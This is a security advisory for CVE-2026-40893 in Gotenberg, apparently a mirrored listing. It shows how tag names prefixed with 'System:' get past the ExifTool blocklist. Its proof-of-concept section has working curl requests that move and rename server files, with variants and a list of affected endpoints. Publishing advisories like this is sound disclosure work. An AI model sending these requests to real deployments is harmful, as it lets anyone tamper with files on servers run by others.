CVE-2026-40893

描述

### Summary Gotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough. This bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m). ### Details Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named **John**." A person shows up and says "I'm **Mr. John**." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John. That's exactly what happens here: **The blocklist** (`exiftool.go` line 275-280) blocks these tag names: ``` FileName Directory HardLink SymLink ``` **The check** (`exiftool.go` line 295-301) compares what the user sent against this list: ```go if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"? delete(metadata, key) // no — so it's NOT deleted } ``` `System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through. **But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean "rename this file." The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *"A tag name may include leading group names separated by colons."* **Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons: ```go var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`) // ^ colon is allowed ``` So the full chain is: 1. Attacker sends `System:FileName` → passes the regex (colon is allowed) 2. `System:FileName` → passes the blocklist (it's not equal to `FileName`) 3. ExifTool receives `System:FileName` → treats it as `FileName` → **renames the file** **Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{"FilePermissions": "rwxrwxrwx"}` tells ExifTool to chmod the file, and nothing stops it. ### PoC **Setup — start Gotenberg with default settings:** ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 ``` **Create a folder inside the container where we'll move the file to:** ```bash docker exec gotenberg-poc mkdir -p /tmp/evil ``` **Send the attack — one curl command:** ```bash curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F '[email protected]' \ -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}' ``` This returns HTTP 404 because the file got moved before the server could return it. **Check that the file actually moved:** ```bash docker exec gotenberg-poc ls -la /tmp/evil/ ``` **Result:** ``` -rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf ``` The file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory — exactly what the blocklist was supposed to prevent. **Proof that the existing blocklist works for bare names (control test):** ```bash curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F '[email protected]' \ -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}' ``` This returns HTTP 500 — the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through. **Other ways to exploit the same bug:** - `system:filename` (lowercase) — also works because ExifTool is case-insensitive - `system:directory` — moves the file to any writable folder - `FilePermissions` — changes the file's permissions (this tag is simply missing from the blocklist entirely) **Every endpoint that accepts the `metadata` field is affected**, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes. ### Impact Any person who can send HTTP requests to Gotenberg (no login needed by default) can: - **Move files anywhere** inside the container by using `System:Directory` - **Rename files** to anything by using `System:FileName` - **Change file permissions** by using `FilePermissions` (this tag is not blocked at all) - **Break the service** for other users — when a file gets moved mid-request, the server returns 404 errors In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.

受影響套件(1)

• Go/github.com/gotenberg/gotenberg/v8from 0, <= 8.30.1

CVSS 分數

參考連結(3)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-40893
• PATCHhttps://github.com/gotenberg/gotenberg
• WEBhttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4